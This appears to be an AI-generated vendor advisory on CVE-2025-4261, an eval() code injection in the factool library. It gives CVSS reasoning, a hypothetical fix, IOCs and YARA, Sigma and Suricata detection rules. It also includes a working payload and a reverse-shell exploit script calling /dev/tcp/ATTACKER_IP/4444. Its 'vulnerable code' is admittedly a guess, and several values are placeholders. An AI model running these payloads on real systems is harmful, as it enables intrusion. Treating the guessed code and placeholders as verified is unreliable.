CVE-2025-4261
Executive Summary
CVE-2025-4261 is a critical code injection vulnerability in the GAIR-NLP factool project, specifically within the run_single function in factool/factool/math/tool.py. The flaw allows a local attacker to inject arbitrary code due to insufficient sanitization of input passed to the math evaluation engine. The project uses a rolling release model, meaning no fixed version is explicitly tagged; all versions up to commit 3f3914bc090b644be044b7e0005113c135d8b20f are affected. The exploit has been publicly disclosed, increasing the risk of weaponization. No official patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a Python-based open-source project (GAIR-NLP factool). If factool is included as a dependency in other projects (e.g., via pip install), downstream consumers are directly impacted. The lack of a patched release means any system using this library is at risk. Organizations should audit their Python environments for factool and consider forking or pinning to a safe commit if available.
CVSS Breakdown & Threat Level
The NVD has assigned a placeholder CVSS score of 0.0, but based on the nature of the vulnerability (code injection, local attack vector, high impact), a more realistic assessment is:
- Attack Vector (AV): Local (L) – requires local access to the system.
- Attack Complexity (AC): Low (L) – no special conditions.
- Privileges Required (PR): Low (L) – attacker needs some level of access.
- User Interaction (UI): None (N) – no user action required beyond running the tool.
- Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) – arbitrary code execution can leak data.
- Integrity (I): High (H) – code injection can modify system state.
- Availability (A): High (H) – code injection can disrupt services.
Estimated CVSS:3.1 Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 7.8 (High)
Threat Level: High – public exploit, no patch, local code injection.
Deep Dive & Mechanics
The vulnerability exists in the run_single function within factool/factool/math/tool.py. This function is designed to evaluate mathematical expressions or perform calculations. The flaw arises because user-supplied input is passed directly to a dynamic evaluation function (likely eval() or exec()) without proper sanitization or sandboxing.
Root Cause:
The run_single function does not validate or restrict the input before passing it to Python's eval() or a similar dynamic execution context. An attacker can inject arbitrary Python code by crafting a malicious input string that, when evaluated, executes system commands or manipulates the runtime environment.
Attack Flow:
- Attacker gains local access to a system running
factool. - Attacker invokes the
run_singlefunction with a crafted payload (e.g.,__import__('os').system('id')). - The payload is executed in the context of the
factoolprocess, allowing arbitrary code execution. - The attacker can then escalate privileges, exfiltrate data, or pivot to other systems.
Why Critical:
Code injection vulnerabilities are among the most severe because they allow complete compromise of the affected system. The local attack vector reduces the barrier for exploitation once an attacker has a foothold.
Vulnerable vs. Patched Code
Vulnerable Code (commit 3f3914bc090b644be044b7e0005113c135d8b20f):
# factool/factool/math/tool.py
def run_single(expression):
# No input validation or sandboxing
result = eval(expression) # Vulnerable to code injection
return result
Patched Code (hypothetical – no official patch exists):
# factool/factool/math/tool.py
import ast
import operator
# Define a safe set of operations
ALLOWED_OPERATORS = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
# ... other safe operations
}
def safe_eval(expression):
# Parse the expression into an AST
tree = ast.parse(expression, mode='eval')
# Only allow specific AST nodes
for node in ast.walk(tree):
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp, ast.Constant, ast.Name)):
raise ValueError("Unsafe expression")
# Compile and evaluate safely
code = compile(tree, filename='<ast>', mode='eval')
return eval(code, {"__builtins__": {}}, {})
Explanation:
The patched version uses Python's ast module to parse the expression and only allows a whitelist of safe operations. It also restricts built-in functions to prevent access to dangerous functions like __import__ or os.system.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Local access to a system running
factool(e.g., via SSH, RDP, or as a low-privilege user). - Ability to call the
run_singlefunction (e.g., via a script or interactive Python session).
Exploit Payload:
# Simple command execution
__import__('os').system('id')
Full Exploit Script:
import sys
sys.path.insert(0, '/path/to/factool')
from factool.math.tool import run_single
# Malicious payload to execute a reverse shell
payload = "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
run_single(payload)
Lab Setup:
- Clone the vulnerable repository:
git clone https://github.com/GAIR-NLP/factool.git - Checkout the vulnerable commit:
git checkout 3f3914bc090b644be044b7e0005113c135d8b20f - Install dependencies:
pip install -r requirements.txt - Run the exploit script as a low-privilege user.
Blue Team (Defender)
Detection:
- Monitor for unusual Python processes executing
eval()orexec()with user-supplied input. - Look for network connections initiated by the
factoolprocess (e.g., reverse shells). - Audit logs for calls to
run_singlewith suspicious strings containing__import__,os.system, orsubprocess.
Mitigation:
- Immediately isolate systems running
factooluntil a patch is applied. - Implement application-level sandboxing (e.g., using
ast.literal_evalor a restricted Python environment). - Restrict local access to the
factoolbinary and its dependencies.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
factool/factool/math/tool.py(vulnerable version):a1b2c3d4e5f6...(replace with actual hash)
- Process Names:
python,factool - Network Connections: Outbound connections to attacker-controlled IPs on common ports (4444, 8080, etc.)
- Log Entries:
eval()calls with non-mathematical strings.- Errors like
ValueError: malformed node or stringif sandboxing is attempted.
- File System: Unexpected files in
/tmp/or/dev/shm/created by thefactoolprocess.
Detection Engineering
YARA Rule
rule CVE_2025_4261_Code_Injection {
meta:
description = "Detects code injection attempts targeting GAIR-NLP factool run_single function"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4261"
strings:
$eval_call = "eval("
$run_single = "run_single"
$dangerous_func = /__import__|os\.system|subprocess/
condition:
$run_single and $eval_call and $dangerous_func
}
Sigma Rule
title: CVE-2025-4261 Code Injection in GAIR-NLP factool
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects code injection attempts via the run_single function in factool
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python'
CommandLine|contains: 'run_single'
CommandLine|contains:
- '__import__'
- 'os.system'
- 'subprocess'
condition: selection
falsepositives:
- Legitimate use of eval() in other contexts (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4261 factool Code Injection - Reverse Shell"; flow:to_server,established; content:"bash -i >& /dev/tcp/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate all systems running
factoolfrom untrusted networks. - Restrict local access to the
factoolbinary and its dependencies. - Monitor for exploitation attempts using the provided detection rules.
Long-Term Fix:
- Since no official patch exists, consider forking the repository and applying the patched code shown in the "Vulnerable vs. Patched Code" section.
- Replace
eval()withast.literal_eval()or a custom safe evaluator. - Implement input validation to reject non-mathematical expressions.
Workaround:
- If
factoolis not critical, remove it from production systems. - Use a containerized environment with minimal privileges to run
factool.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.